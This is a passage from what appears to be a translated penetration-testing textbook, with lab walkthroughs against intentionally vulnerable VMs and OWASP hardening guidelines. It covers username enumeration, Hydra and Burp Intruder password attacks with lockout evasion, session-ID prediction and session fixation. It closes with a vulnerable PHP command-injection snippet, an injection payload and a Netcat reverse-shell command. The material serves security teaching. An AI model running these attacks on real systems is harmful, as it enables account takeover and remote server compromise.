从渗透测试的角度来看,这无疑是最有趣的身份验证方法,因为没有标准的方法来执行它(即使有最佳实践),通常会导致许多漏洞和安全风险,因为实现不当。

双因素身份验证

如前所述,为了向应用程序证明您的身份,您必须提供您所知道的东西、您所拥有的东西或您所是的东西。这些标识符中的每一个都被称为因素多因素身份验证MFA)源于为某些应用程序提供额外的安全层,以防止未经授权的访问,例如密码被攻击者猜测或窃取的情况。

在大多数 Web 应用程序中,双因素身份验证2FA)意味着用户必须提供用户名和密码(第一个因素)以及一个特殊的代码或一次性密码OTP),该代码是由用户拥有的设备临时随机生成的,或者通过服务器通过短信或电子邮件发送给他们。然后用户将 OTP 提交给应用程序。更复杂的应用程序可能会在密码之外实现使用智能卡或某种生物识别技术,例如指纹。由于这需要用户拥有额外的硬件或专用设备,这些类型的应用程序要少得多。

大多数银行应用程序实施了一种 MFA 形式,最近,公共电子邮件服务和社交媒体开始推广并强制用户使用 2FA。

OAuth

OAuth是一种用于访问委派的开放标准。当 Facebook 或 Google 用户允许第三方应用程序访问他们的帐户时,他们不会与这些应用程序共享他们的凭据。相反,服务提供商(Google、Twitter 或 Facebook)共享一个特殊的访问令牌,允许这些应用程序检索有关用户帐户的特定信息或根据用户授权的权限访问某些功能。

会话管理机制

会话管理涉及在登录时创建或定义会话标识符,设置不活动超时时间,会话过期以及在注销时使会话无效;此外,根据用户的权限,它可能扩展到授权检查,因为会话 ID 必须与用户关联起来。

基于平台身份验证的会话

当使用平台身份验证时,最常用的方法是使用已经包含的标头来处理凭据,或者将响应作为用户会话的标识符,并通过应用程序的逻辑来管理会话过期和注销;尽管如前所述,当使用平台身份验证时,通常会发现没有会话超时、过期或注销。

如果使用 Kerberos,AS 发出的令牌已经包含会话信息,并用于管理此类会话。

会话标识符

会话标识符在表单身份验证中更常见,但在使用平台身份验证时也可能存在。会话标识符会话 ID是在每次用户在应用程序中启动会话时分配给每个用户的唯一数字或值。该值必须与用户的 ID 和密码不同。每次用户登录时,它必须是不同的,并且必须随每个请求一起发送到服务器,以便它可以区分来自不同会话/用户的请求。

在客户端和服务器之间发送会话 ID 的最常见方法是通过 cookie。一旦服务器接收到一组有效的用户名和密码,它将该登录信息与会话 ID 关联起来,并向客户端响应,将这些 ID 作为 cookie 的值发送。

在下面的屏幕截图中,您将看到一些包含会话 cookie 的服务器响应的示例:

在前面的示例中,一个 PHP 应用程序设置了一个名为PHPSESSID的会话 cookie。

在上面的示例中,一个 Java 应用程序设置了一个名为JSESSIONID的会话 cookie。

在上面的示例中,一个 ASP.NET 应用程序设置了一个名为ASP.NET_SessionId的会话 cookie。

Web 应用程序中的常见身份验证缺陷

我们花了一些时间讨论了 Web 应用程序中不同身份验证机制的工作原理。在本节中,您将学习如何识别和利用其中一些最常见的安全故障。

缺乏身份验证或错误的授权验证

在前一章中,您了解到如何使用 DIRB 和其他工具来查找可能没有在 Web 服务器上的任何页面中引用的目录和文件,或者可能包含特权功能,例如/admin/user/profile。如果您能够直接浏览到这些目录并在其中使用功能,而无需进行身份验证,或者作为标准用户进行身份验证后,您可以通过浏览到这些目录来浏览到应用程序的管理区域或修改其他用户的配置文件,那么该应用程序在身份验证和/或授权机制方面存在重大安全问题。

用户名枚举

在黑盒和灰盒渗透测试场景中,发现应用程序的有效用户列表可能是第一步之一,特别是如果这样的应用程序不是商业应用,以便您可以在线查找默认用户。

通过分析在登录、注册和密码恢复页面等地方提交用户名时的响应,可以对 Web 应用程序中的用户进行枚举。以下是一些常见的错误消息,当提交表单到这些页面时,您可以找到告诉您可以枚举用户的消息:

  • “用户 foo:无效密码”

  • “无效用户 ID”

  • “帐户已禁用”

  • “此用户未激活”

  • “无效用户”

让我们来看一个非常简单的例子,如何从一个 Web 应用程序中发现有效的用户名,当提供错误的用户名时,该应用程序会提供过多的信息。使用 IP 地址为10.7.7.5Broken Web ApplicationsBWA)虚拟机中的 OWASP WebGoat。

首先运行 Burp Suite 并配置您的浏览器以使用它作为代理(在 Firefox 中,导航到首选项 | 高级 | 网络 | 连接 | 设置):

接下来,使用webgoat默认用户和webgoat密码登录 WebGoat,并转到 Authentication Flaws | Forgot Password:

这是一个需要用户名才能继续恢复过程的密码恢复表单。您可以输入一个不存在的用户名,例如nonexistentuser,并提交以查看结果:

用户名无效,您将无法继续进行密码恢复。您可以假设当用户有效时,您将获得不同的响应。

现在让我们使用 Burp Suite 的 Intruder 来尝试找到一个有效的用户名。首先,在 Burp Proxy 的历史记录中查找请求,并将其发送到 Intruder(按下Ctrl + I或右键单击并选择发送到 Intruder):

接下来,切换到入侵者标签,然后切换到您的请求编号,最后切换到位置。您可以看到所有可由客户端修改的参数默认都被选中。点击清除以取消选择它们,然后只选择用户名值并点击添加:

入侵者自动发送多个请求到服务器,用用户提供的输入替换选定的值,并记录所有响应以供分析。现在添加一个要尝试的用户名列表,而不是已提交的用户名。

Burp Intruder 有四种不同的攻击类型,描述了如何使用有效负载填充输入:

  • Sniper:这使用单个有效负载集,并逐个选择每个输入位置的值。请求的数量将是有效负载集的长度乘以输入位置的数量。

  • 撞击锤:这个方法使用一个单一的有效负载集,并同时选择所有输入位置上的每个值。请求数量将等于有效负载集的长度。

  • 草叉:这个方法使用多个输入位置,并且每个位置都需要一个有效负载集。它一次在对应的输入中提交一个有效负载集的值。请求数量将等于最短有效负载集的长度。

  • 集束炸弹:当使用多个输入时,有效负载集 1 中的所有元素将与有效负载集 2 中的所有元素配对,依此类推,直到有效负载集n。攻击中的请求数量由所有有效负载集的大小相乘确定。

接下来,在 Intruder 中切换到 Payloads 选项卡。保持有效负载集不变,点击有效负载选项[简单列表]部分的“加载...”按钮;这是为了加载包含你想尝试的名称的文件。幸运的是,Kali Linux 在/usr/share/wordlists目录中包含了大量的字典和单词列表。

在这个例子中,你将使用/usr/share/wordlists/metasploit/http_default_users.txt

现在,你已经定义了带有输入位置的请求,并准备好了有效负载列表,请点击“开始攻击”:

从结果中可以看出,所有尝试的名称都有相同的响应,除了一个。你会注意到admin有一个不同长度的响应,如果你查看响应的正文,你会看到它在询问密码恢复问题。所以,admin是一个有效的用户名。

用户名枚举可以在应用程序对有效和无效用户名显示不同响应时进行。此外,一些应用程序在注册新用户时会进行验证,以确保名称不重复。如果此验证在提交表单之前完成,那么有一个执行此类验证的网络服务,你可以用它进行枚举。

通过暴力破解和字典攻击来发现密码

一旦你在应用程序中确定了有效的用户,下一个自然步骤就是尝试找到这些用户的密码。有很多方法可以从用户那里获取有效密码,从模仿原始网站在不同服务器上并使用社交工程来欺骗用户提交他们的信息,到利用不安全的密码恢复机制,再到猜测密码(如果是常见密码)。

暴力破解是一种尝试所有可能的字符组合来发现有效密码的方法。当应用程序允许使用一到三个甚至四个字符的密码时,这种方法可能很有效。如果允许使用这样的密码,很有可能至少有一个用户在使用它们。

对于较长的密码,暴力破解攻击是完全不切实际的,因为在发现一个有效密码之前,你需要向应用程序发送数百万(甚至数十亿)个请求。此外,执行这种攻击所需的时间比标准的一两周的渗透测试计划要长得多(非常长)。在这种情况下,我们依靠人为因素的可预测性——即使对于实际目的来说,八个或更多字符密码的可能组合几乎是无限的,但我们人类倾向于只使用其中一小部分组合作为密码,而且最常见的密码非常常见。

为了利用这个事实,有一些包含常见或默认密码的字典,或者是已知在以前对流行网站的攻击中泄露的密码。使用这些字典,你可以减少需要尝试的次数,增加在字典中找到有效密码的机会,因为已经有很多人将其作为密码使用过。

自 2012 年以来,SplashData 每年发布一份根据被黑客和泄露密码集合进行分析得出的最常用密码列表。可以在以下链接查看 2017 年和 2016 年的结果:www.teamsid.com/worst-passwords-2017-full-list/www.teamsid.com/worst-passwords-2016/。另一个每年发布的列表是来自 Keeper 密码管理器的列表:blog.keepersecurity.com/2017/01/13/most-common-passwords-of-2016-research-study/

使用 THC Hydra 攻击基本身份验证

THC Hydra是黑客和渗透测试人员中长期以来最受欢迎的在线密码破解工具。

在线破解意味着实际进行了对服务的登录尝试。当存在安全和监控工具时,这可能会产生大量流量并在服务器上引发警报。因此,在尝试在线暴力破解或字典攻击应用程序或服务器时,你应该特别小心,并调整参数以获得最佳速度,而不会使服务器过载、引发警报或锁定用户账户。

当存在监控或在一定次数的失败尝试后账户被锁定时,进行在线攻击的一个好方法是为每个用户使用三到四个密码,或者少于锁定阈值的数量。选择最明显或最常见的密码(例如passwordadmin12345678),如果没有结果,返回侦察阶段获取更好的密码集,并在几分钟或几个小时后再次尝试。

THC Hydra 具有连接到各种服务的能力,如 FTP、SSH、Telnet 和 RDP。我们将使用它对使用基本身份验证的 HTTP 服务器进行字典攻击。

首先,你需要知道实际处理登录凭据的 URL。打开你的Kali 机器,打开 Burp Suite,并配置浏览器使用它作为代理。你将使用易受攻击的虚拟机和 WebGoat 应用程序。当你尝试访问 WebGoat 时,会弹出一个对话框要求输入登录信息。如果你提交任意随机的用户名和密码,会再次出现相同的对话框:

即使尝试不成功,请求已经在 Burp 中注册。接下来,寻找其中一个具有Authorization: Basic头的请求:

现在你知道处理登录的 URL 是http://10.7.7.5/WebGoat/attack。这已经足够运行 Hydra 了,但首先你需要有一个可能的用户名列表和一个密码列表。在实际情况下,可能的用户名和密码将取决于组织、应用程序以及你对其用户的了解。对于这个测试,你可以使用以下可能的用户列表,用于名为 WebGoat 的应用程序,并将其指定为安全测试的目标:

admin 
webgoat 
administrator 
user 
test 
testuser 

至于密码,你可以尝试一些最常见的密码,并添加应用程序名称的变体:

123456 
password 
Password1 
admin 
webgoat 
WebGoat 
qwerty 
123123 
12345678 
owasp 

将用户名列表保存为users.txt,将密码列表保存为passwords.txt。首先,运行hydra命令,不带任何参数查看帮助和执行信息:

你可以看到它需要使用-L选项添加一个用户列表文件,-P选项添加一个密码列表文件,以及协议、服务器、端口和可选信息,形式如:protocol://server:port/optional。运行以下命令:

hydra -L users.txt -P passwords.txt http-get://10.7.7.5:8080/WebGoat/attack  

你会发现webgoat用户和webgoat密码的组合被服务器接受。

在使用 Hydra 时,一个有用的选项是使用-ensr修饰符,可以处理登录输入,发送空密码(n),将用户名作为密码(s),反转用户名并将其用作密码(r),以及-u,它首先循环用户。这意味着它尝试所有用户与单个密码,然后继续下一个密码。这可以防止您被某些防御机制锁定。

攻击基于表单的身份验证

由于没有标准的实现,并且 Web 应用程序在验证和攻击预防方面更加灵活,因此登录表单在暴力破解时面临一些特殊的挑战:

  • 用户名和密码参数中没有标准的名称、位置或格式

  • 登录尝试没有标准的负面或正面响应

  • 客户端和服务器端的验证可能会阻止某些类型的攻击或重复提交请求

  • 身份验证可能分为多个步骤,即在一个页面中询问用户名,在下一个页面中询问密码

对于渗透测试人员来说,幸运的是,大多数应用程序使用 HTML 表单的基本模式,通过 POST 请求发送用户名和密码作为参数,并在成功登录时重定向到用户的主页,如果失败,则重定向到登录页面或显示错误。现在,您将研究两种用于对此类表单执行字典攻击的方法。几乎所有基于表单的身份验证都适用相同的原则,只是在如何解释响应和所需的提交参数方面有一些修改。

使用 Burp Suite Intruder

与基本身份验证攻击一样,您首先需要识别执行实际身份验证的请求及其参数,以便攻击正确的请求。

在下面的屏幕截图中,您将在左侧看到 OWASP Bricks 中的身份验证表单(在易受攻击的虚拟系统主菜单中,转到 Bricks | 登录页面 | 登录#3),在右侧,您可以看到通过 POST 方法发送的请求。您会观察到用户名和密码参数发送到正文中,而没有授权头:

要对此登录页面进行字典攻击,您首先需要分析响应,以确定失败的登录与成功的登录有何区别:

在屏幕截图中,您可以观察到失败的响应包含“用户名或密码错误”的文本。当然,这不会出现在成功登录中。

接下来,将请求发送到 Intruder,并选择用户名和密码参数作为输入。然后,选择 Cluster bomb 作为攻击类型:

接下来,转到有效负载选项卡,选择有效负载集1,并加载包含之前使用的用户名的文件:

对于有效负载集2,我们还将使用之前练习中使用的密码文件:

如您在此屏幕截图中所见,服务器发送了 60 个请求,因为您有 6 个用户名和 10 个可能的密码:

您可以在此时发起攻击,然后分析响应,并了解是否有某个登录组合成功。然而,Burp Intruder 具有一些功能,可以使您的生活更轻松,不仅适用于像这样的简单示例,还适用于攻击复杂的真实应用程序。转到选项选项卡,然后转到 Grep - Match,使 Intruder 在响应中查找某些特定的文本,以便您可以轻松识别成功的文本。点击“标记与这些表达式匹配的结果项”框,清除当前列表,并在“输入新项目”框中输入以下内容:

Wrong user name or password. 

按下Enter或点击“添加”。Intruder 将标记所有包含此消息的响应;因此,未标记的响应可能表示成功登录。如果您知道正确的登录消息,您可以寻找该消息并直接识别出一组正确的凭据:

开始攻击,并等待结果:

看起来您已经找到了至少一个有效的用户名及其密码。

使用 THC Hydra

在 Hydra 支持的众多协议中,有http-get-formhttp-post-formhttps-get-formhttps-post-form,它们分别是通过GETPOST方法发送的 HTTP 和 HTTPS 登录表单。使用前面练习中的相同信息,您可以使用以下命令在 Hydra 中运行字典攻击:

hydra 10.7.7.5 http-form-post "/owaspbricks/login-3/index.php:username=^USER^&passwd=^PASS^&submit=Submit:Wrong user name or password." -L users.txt -P passwords.txt  

您可能会注意到,这种情况下的语法与您之前使用 Hydra 的语法略有不同。让我们一起来看看:

  1. 首先,您需要hydra命令和目标主机(hydra 10.7.7.5)。

  2. 然后是您要测试的协议或服务(http-form-post)。

  3. 接下来是用引号("")括起来的协议特定参数,用冒号分隔:

  4. URL(/owaspbricks/login-3/index.php

  5. 请求的主体由^USER^指示,Hydra 应该将用户名放在这里,^PASS^指示密码应该放在哪里

  6. 登录失败的消息(“用户名或密码错误。”)

  7. 最后是由-L-P指示的用户名和密码列表

密码重置功能

Web 应用程序中的另一个常见弱点是密码恢复和重置功能的实现。

由于应用程序需要用户友好,并且一些用户会忘记密码,因此应用程序需要提供一种允许这些用户重置或恢复密码的方式。为此问题提供一个安全的解决方案并不是一件容易的事情,许多开发人员可能会留下一些弱点,供渗透测试人员或攻击者利用。

恢复而不是重置

当面临用户忘记密码时该怎么办的问题时,您可以在两个主要选项之间选择:

  • 允许他们恢复旧密码

  • 允许他们重置密码

应用程序允许用户恢复旧密码,这意味着应用程序设计中存在一些安全漏洞:

  • 密码以可恢复的方式存储在数据库中,而不是使用单向哈希算法,这是存储密码的最佳实践。

  • 在服务器端代码中,客户服务代理或系统管理员可以恢复密码。攻击者也可以通过社会工程或技术利用来做到这一点。

  • 当密码通过电子邮件、电话或在网页上显示时,密码就会面临风险。中间人或旁观者可以以许多方式捕获这些信息。

常见的密码重置缺陷

应用程序常用的一种允许用户恢复或重置密码的方法是询问一个或多个问题,只有合法用户才应该知道答案。这些问题包括出生地、第一所学校、第一只宠物的名字和母亲的娘家姓。问题在于,如果应用程序提出的问题对于潜在攻击者来说并不那么机密,那么这个问题会增加,如果用户是高知名度的人物,比如名人或政治家,那么他们生活的许多细节都是公开的,这个问题就会增加。

第二层保护是不直接提供密码重置功能的访问权限,而是通过电子邮件或短信发送密码重置链接。如果在尝试重置密码时请求了此电子邮件或电话号码,那么您可以伪造此信息,将用户的号码替换为您的号码,并获取任何用户的密码重置。

如果电子邮件或电话号码经过正确验证,并且无法伪造它们,仍然存在重置链接没有正确实现的可能性。有时这些链接包含一个参数,指示 ID,比如要重置密码的用户的号码或姓名。在这种情况下,你只需要使用一个你控制的用户生成一个链接,并将该参数更改为你想要重置密码的用户之一。

另一个可能的失败是,这样的重置链接在第一次合法使用后没有失效。在这种情况下,如果攻击者以任何方式获得了这样的链接,他们可以再次访问它并重置用户的密码。

2FA 实施中的漏洞

Web 应用程序中最常见的 MFA 形式是使用随机生成的数字(四到八位数)作为 OTP,用户可以从特殊设备、移动应用程序(如 Google Authenticator、Authy、1Password 或 LastPass Authenticator)或通过服务器根据请求发送的短信或电子邮件中获取。

在渗透测试中,当存在以下条件时,你可以检测和利用这个过程中的一些实施缺陷:

  • OTP 号码不是完全随机的,可以被预测。

  • OTP 与其分配的用户没有关联。这意味着你可以为一个用户生成一个 OTP,并将其用于另一个用户。

  • 同一个密码或令牌可以多次使用。

  • OTP 提交尝试没有限制。这打开了暴力破解攻击的可能性,因为 OTP 通常是短数字字符串,更容易成功。

  • 发送 OTP(一次性密码)的时候,用户信息没有经过验证,这使得攻击者可以伪造电子邮件地址或电话号码。

  • OTP 的过期时间对于应用程序的目的来说太长了。这扩大了攻击者获取有效未使用令牌的时间窗口。

  • 新生成的 OTP 不会使之前的 OTP 失效,所以例如,如果一个用户因为网络故障而多次请求同一操作的令牌或密码(第一次尝试失败),攻击者可以使用之前的尝试来复制该操作或执行另一个接受相同令牌的操作,即使合法操作已经执行过了。

  • 依赖访问应用程序的设备。现在,人们在手机上有银行应用程序、个人电子邮件、社交网络、工作电子邮件和许多其他应用程序。因此,你应该三思而后行,是否将电子邮件、短信或移动应用作为第二因素认证。

检测和利用不正确的会话管理

如前所述,会话管理允许应用程序跟踪用户活动并验证授权条件,而无需用户每次请求时都提交凭据。这意味着如果会话管理没有正确执行,用户可能能够访问其他用户的信息或执行超出其权限级别的操作,或者外部攻击者可能会获取用户的信息和功能。

使用 Burp Sequencer 评估会话 ID 的质量

Burp Sequencer是一种统计分析工具,可以让你收集大量的值,如会话 ID,并对它们进行计算,以评估它们是否是随机生成的,或者只是混淆或编码。这在处理复杂的会话 cookie 时非常有用,因为它可以让你了解 cookie 是如何生成的,以及是否有攻击或预测的方法。

要使用 Burp Sequencer,首先需要找到设置会话 cookie 的响应。通常是成功登录的响应,带有Set-Cookie头。在下面的截图中,你可以看到设置 WebGoat 会话劫持练习的会话 cookie(WEAKID)的响应(转到 WebGoat | 会话管理缺陷 | 劫持会话):

乍一看,响应的值可能看起来是独特且足够难以猜测的。第一部分看起来像是一个 ID,第二部分似乎是一个时间戳,可能是以纳秒为单位的过期时间。很难猜测会话何时精确地结束在哪个纳秒,对吧?嗯,正如您将看到的,这不是最好的方法。

在 Burp Proxy 的历史记录中找到该响应,右键单击它。然后,您将看到“发送到 Sequencer”选项。进入 Sequencer 后,您需要选择它所关注的响应部分:

您可以选择分析 cookie、表单字段或响应的自定义部分。在这种情况下,选择WEAKID cookie 并点击“开始实时捕获”。它将开始向服务器发送请求,以捕获尽可能多的不同 cookie 值。完成后,点击“立即分析”执行分析。在结果中,Sequencer 将指示分析的值是否足够随机,并且作为会话 ID 的良好选择。正如您所看到的,WEAKID是弱的并且容易预测:

是信息中随机性水平的度量。结果显示WEAKID的随机性为零,这意味着它是完全可预测的,不适合作为会话 ID 的好选择。Sequencer 还提供有关字符串中每个字节和位的分布和重要性的更详细信息。

在下面的屏幕截图中,您将看到字符分析图表。您可以看到在位置 3、4、15、16 和 18 的字符变化要比位置 0 或 5 到 13 的字符更多,后者似乎根本不变。此外,字符 0 到 4 表明是一个计数器或递增的数字,因为最后一个字符的变化比前一个字符更多,而该字符比前一个字符更多,依此类推。我们将在下一节中验证这一点:

预测会话 ID

我们已经确定了一个似乎是可预测的会话 ID。现在让我们试着找到一个有效的会话。为此,您将使用接收到 cookie 的相同请求并将其发送到 Intruder。在这种情况下,您只需要重复相同的请求几次。但是,Intruder 需要有插入点才能运行,因此在请求中添加一个头部(Test: 1),并在其值中设置插入位置:

在此测试中,您将发送 101 个请求,因此将有效负载设置为“数字”类型,从 0 递增到 100:

现在转到“选项”选项卡,在“Grep-Extract”部分添加一个项目。确保选中“根据下面的选择更新配置”复选框,并仅选择 cookie 的值:

点击“确定”,然后点击“开始攻击”。

现在您可以在 Intruder 的结果表中看到WEAKID值,并且可以验证 cookie 值的第一部分是一个递增的顺序号,第二部分也总是递增的。这取决于请求被服务器接收的时间。如果您查看以下屏幕截图,您会发现序列中存在一些间隙:

当前活动会话的前半部分是18299。我们之所以知道这一点,是因为服务器没有给我们该值,并且我们知道它随着每个请求而增加。我们还知道第二部分是一个时间戳,并且它还取决于会话 cookie 分配的时间。因此,我们要寻找的值的第二部分必须在我们已知的两个值之间:15091545657681509154566190。由于这两个数字之间的差异很小(422),我们可以很容易地使用 Intruder 来暴力破解该值。

现在再次将相同的原始请求发送到 Intruder。这次,在其后添加一个 cookie。在JSESSIONID的值之后,添加以下内容(记得根据您的结果调整值):

; WEAKID=18299-1509154565768

选择最后四个字符,并在那里添加一个位置标记:

现在,在有效负载选项卡中,攻击将尝试从 5768 到 6190 的数字:

最后,添加一个匹配表达式,以便您清楚地知道何时获得了成功的结果。此时,您只知道未经身份验证的用户应该有的消息。您会假设经过身份验证的用户(具有有效的会话 cookie)不会被要求登录:

开始攻击,并等待 Intruder 找到一些东西。

现在您有一个有效的会话 ID。要使用它,您只需要将会话 cookie 的值替换为您刚刚找到的值,并访问页面以劫持其他人的会话。我会留给您来测试。

会话固定

有时,用户提供的信息用于生成会话 ID,或者更糟糕的是,用户提供的信息成为会话 ID。当发生这种情况时,攻击者可以强制用户使用预定义的标识符,然后监视应用程序,以便在用户启动会话时进行操作。这被称为会话固定

WebGoat 有一个相对简单但非常具有说明性的演示,展示了这种漏洞(转到 WebGoat | 会话管理缺陷 | 会话固定)。我们将使用它来说明如何执行这种攻击。

  1. 第一步是将您设置为攻击者。您需要编写一封电子邮件,其中包含一个会话 ID(SID)值,该值将包含在您发送给受害者的链接中,因此请将该参数添加到链接中,例如&SID=123,以链接到 Goat Hills Financial:

攻击者发现 Goat Hills Financial 网站使用 GET 参数来定义会话标识符,并向该机构的客户发送钓鱼邮件。

  1. 在这个练习的这一步中,您扮演受害者的角色,接收来自攻击者的电子邮件:

由于电子邮件看起来合法,因为它来自admin@webgoatfinancial.com,所以您点击链接,它会将您发送到登录页面,然后您相应地登录。现在有一个使用攻击者发送的参数的有效会话。

  1. 下一阶段需要攻击者登录与受害者相同的网站:

您使用 Burp Proxy 拦截请求并编辑它以包含受害者用于登录的SID参数:

  1. 现在,您已经获得了对受害者个人资料的访问权限:

在此示例中,会话 ID 的管理存在两个主要缺陷:

  • 首先,会话 ID 是通过用户提供的信息生成的,这使得攻击者更容易识别有效值并将其与现有用户关联起来。

  • 其次,一旦启动了经过身份验证的会话(例如,受害者登录后),标识符就不会更改,这就是术语“会话固定”的起源,因为攻击者能够预设会话 ID 对于受害者将具有的值,从而使其能够使用相同的值劫持受害者的经过身份验证的会话。

预防身份验证和会话攻击

Web 应用程序中的身份验证是一个难以解决的问题,迄今为止还没有找到普遍适用的解决方案。因此,在应用程序的这个领域预防漏洞在很大程度上是具体情况特定的,开发人员需要根据特定的用例和用户配置文件找到可用性和安全性之间的平衡。

我们可以说,即使是会话管理,当前的方法仍然是 HTTP 协议缺陷的变通方法。也许随着 HTML5 和 WebSockets 或类似技术的出现,您将来会有一些更好的替代方案可供使用。

尽管如此,仍然可以为身份验证和会话管理定义一些通用准则,这将帮助开发人员提高对抗攻击者的安全性,并且我们可以在寻找缺陷并向客户提出建议时将其用作参考。

身份验证准则

以下是身份验证指南的列表:

  • 用户名或用户标识符必须对每个用户是唯一的,并且不区分大小写(userUser相同)。

  • 强制执行强密码策略,禁止使用以下密码:

  • 用户名作为密码

  • 短密码(即少于八个字符)

  • 单个大小写密码,即全部小写或全部大写

  • 单个字符集,例如所有数字、所有字母,不使用特殊字符

  • 数字序列(123456,9876543210)

  • 名人、电视节目、电影或虚构人物(超人、蝙蝠侠、星球大战)

  • 公共字典中的密码,例如前 25 个最常见的密码

  • 始终使用安全协议(如 TLS)提交登录信息。

  • 不要在错误消息或响应代码中透露有关用户名的存在或有效性的信息(例如,当找不到用户时不要响应 404 代码)。

  • 为了防止暴力破解攻击,在一定数量的失败尝试后实施临时锁定:五次是一个平衡的数字,这样一个连续五次登录失败的用户将被锁定一段时间,比如二十或三十分钟。

  • 如果实现了密码重置功能,请要求提供用户名或电子邮件以及安全问题(如果有)。然后,通过注册的电子邮件或通过短信将一次性重置链接发送给用户的注册电子邮件或他们的手机。如果用户没有重置密码或在一定时间内没有重置密码,此链接必须被禁用,可能是几个小时。

  • 在实施多因素身份验证时,如果使用移动应用程序,则优先使用第三方和经过广泛测试的框架,例如 Google Authenticator 或 Authy;如果需要物理令牌或智能卡,则使用 RSA 或 Gemalto 设备。

  • 避免实施自定义或自制的加密和随机生成模块,优先选择来自知名库和框架的标准算法。

  • 在敏感任务上要求重新验证身份,例如对用户的特权更改、敏感数据删除或全局配置更改的修改。

OWASP 在其网站上有一个关于在 Web 应用程序上实施身份验证的最佳实践快速指南:www.owasp.org/index.php/Authentication_Cheat_Sheet

会话管理指南

以下是会话管理指南的列表:

  • 无论使用何种身份验证机制,始终实施会话管理并在每个页面和/或请求上验证会话。

  • 使用长、随机和唯一的会话标识符。优先使用已在主要 Web 开发语言(如 ASP.NET、PHP 和 J2EE)中实现的机制。

  • 在登录和注销时为用户生成新的会话 ID。永久使已使用的会话 ID 失效。

  • 在一段合理的不活动时间(15 到 20 分钟)后,使会话失效并注销用户。在安全性和可用性之间提供良好的平衡。

  • 始终给用户明确的注销选项,即具有注销按钮/选项。

  • 使用会话 cookie 时,请确保设置了所有安全标志:

  • 使用Secure属性来防止在非加密通信中使用会话 cookie。

  • HttpOnly属性用于防止通过脚本语言访问 cookie 值。这减少了跨站脚本XSS)攻击的影响。

  • 使用非持久性会话 cookie,不使用ExpiresMax-Age属性。

  • Path属性限制为服务器的根目录(/)或托管应用程序的特定目录。

  • SameSite属性目前仅受 Chrome 和 Opera Web 浏览器支持。这提供了额外的保护,防止外部站点将 cookie 发送到服务器,以防止信息泄露和跨站请求伪造CSRF)。

  • 将会话 ID 与用户的角色和权限关联,并在每个请求上使用它来验证授权。

关于这个主题的更深入的建议可以在 OWASP 的“会话管理备忘单”中找到,网址为www.owasp.org/index.php/Session_Management_Cheat_Sheet

总结

在本章中,我们回顾了 Web 应用程序执行用户身份验证以限制对特权资源或敏感信息的访问的不同方式,并研究了会话的维护方式,考虑到 HTTP 没有内置的会话管理功能。在当今的 Web 应用程序中,最常用的方法是基于表单的身份验证和通过 cookie 发送会话 ID。

我们还研究了身份验证和会话管理中最常见的安全故障点,攻击者如何利用内置的浏览器工具或 Kali Linux 中包含的其他工具(如 Burp Suite、OWASP ZAP 和 THC Hydra)来利用它们。

在最后一节中,我们讨论了一些最佳实践,通过要求对应用程序的所有特权组件进行身份验证,使用复杂的随机会话 ID,并强制执行强密码策略,可以预防或减轻身份验证和会话管理缺陷。这些是防止此类缺陷的一些最重要的预防和减轻技术。

在下一章中,我们将介绍最常见的注入漏洞类型,如何在渗透测试中检测和利用它们,以及修复应用程序和防止通过这些技术进行的攻击所需的措施。

第五章:检测和利用基于注入的缺陷

根据 OWASP Top 10 2013 列表(www.owasp.org/index.php/Top_10_2013-Top_10),Web 应用程序中最关键的缺陷是注入漏洞,并且它在 2017 年的列表中保持了其位置。

(www.owasp.org/index.php/Top_10-2017_Top_10) 发布候选版。交互式 Web 应用程序接受用户输入,处理它,并将输出返回给客户端。当应用程序容易受到注入漏洞时,它接受用户的输入而不进行适当或任何验证,并继续处理。这导致应用程序不打算执行的操作。恶意输入欺骗应用程序,迫使底层组件执行应用程序未编程的任务。换句话说,注入漏洞允许攻击者随意控制应用程序的组件。

在本章中,我们将讨论当今 Web 应用程序中的主要注入漏洞,包括检测和利用它们的工具,以及如何避免易受攻击或修复现有缺陷。这些缺陷包括以下内容:

  • 命令注入漏洞

  • SQL 注入漏洞

  • 基于 XML 的注入

  • NoSQL 注入

注入漏洞用于访问应用程序发送数据的底层组件,以执行某些任务。以下表格显示了 Web 应用程序常用的最常见组件,当用户输入未经应用程序验证时,这些组件经常成为注入攻击的目标:

组件 注入漏洞
操作系统 命令注入
数据库 SQL/NoSQL 注入
Web 浏览器/客户端 跨站脚本攻击
LDAP 目录 LDAP 注入
XML XPATH / XML 外部实体注入

命令注入

动态性质的 Web 应用程序可能使用脚本在 Web 服务器上调用某些功能,以处理从用户接收到的输入。攻击者可能会尝试通过绕过应用程序实施的输入验证过滤器来在命令行中处理此输入。命令注入通常在同一 Web 服务器上调用命令,但根据应用程序的架构,也可能在不同的服务器上执行命令。

让我们来看一个简单的代码片段,它容易受到命令注入漏洞的攻击,来自 DVWA 的命令注入练习。这是一个非常简单的脚本,接收一个 IP 地址并向该地址发送 ping(ICMP 数据包):

<?php 
  $target = $_REQUEST[ 'ip' ]; 
  $cmd = shell_exec( 'ping  -c 3 ' . $target ); 
  $html .= '<pre>'.$cmd.'</pre>'; 
  echo $html; 
?> 

正如您所看到的,在从用户接受ip参数之前,没有进行输入验证,这使得此代码容易受到命令注入攻击。要登录到 DVWA,使用的默认凭据是admin/admin

恶意用户可以使用以下请求来注入附加命令,应用程序将接受而不引发异常:

http://server/page.php?ip=127.0.0.1;uname -a

应用程序从客户端接受用户输入的值而不进行验证,并将其连接到ping -c 3命令,以构建在 Web 服务器上运行的最终命令。服务器的响应显示在以下屏幕截图中。由于应用程序未能验证用户输入,显示了底层操作系统的版本以及对给定地址进行 ping 的结果:

注入的附加命令将使用 Web 服务器的权限运行。现在大多数 Web 服务器都以受限权限运行,但即使权限有限,攻击者也可以利用并窃取重要信息。

命令注入可以用于通过注入wget命令使服务器下载和执行恶意文件,或者通过以下示例演示的方式获得对服务器的远程 shell。

首先,在 Kali Linux 中设置一个监听器。Netcat有一种非常简单的方法来做到这一点:

nc -lvp 12345  

Kali Linux 现在已设置为在端口12345上监听连接。接下来,将以下命令注入到受漏洞的服务器中:

nc.traditional -e /bin/bash 10.7.7.4 12345 

在一些现代 Linux 系统中,原始的 Netcat 已被替换为不包含某些可能存在安全风险的选项的版本,例如允许在连接时执行命令的-e选项。这些系统通常在名为nc.traditional的命令中包含传统版本的 Netcat。在尝试使用 Netcat 访问远程系统时,请尝试这两个选项。

请注意,10.7.7.4是示例中 Kali 机器的 IP 地址,12345是用于监听连接的 TCP 端口。发送请求后,您应该在 Kali Linux 中接收到连接,并能够在非交互式 shell 中发出命令:

非交互式 shell 允许您执行命令并查看结果,但无法与命令进行交互,也无法查看错误输出,例如使用文本编辑器时。

识别注入数据的参数

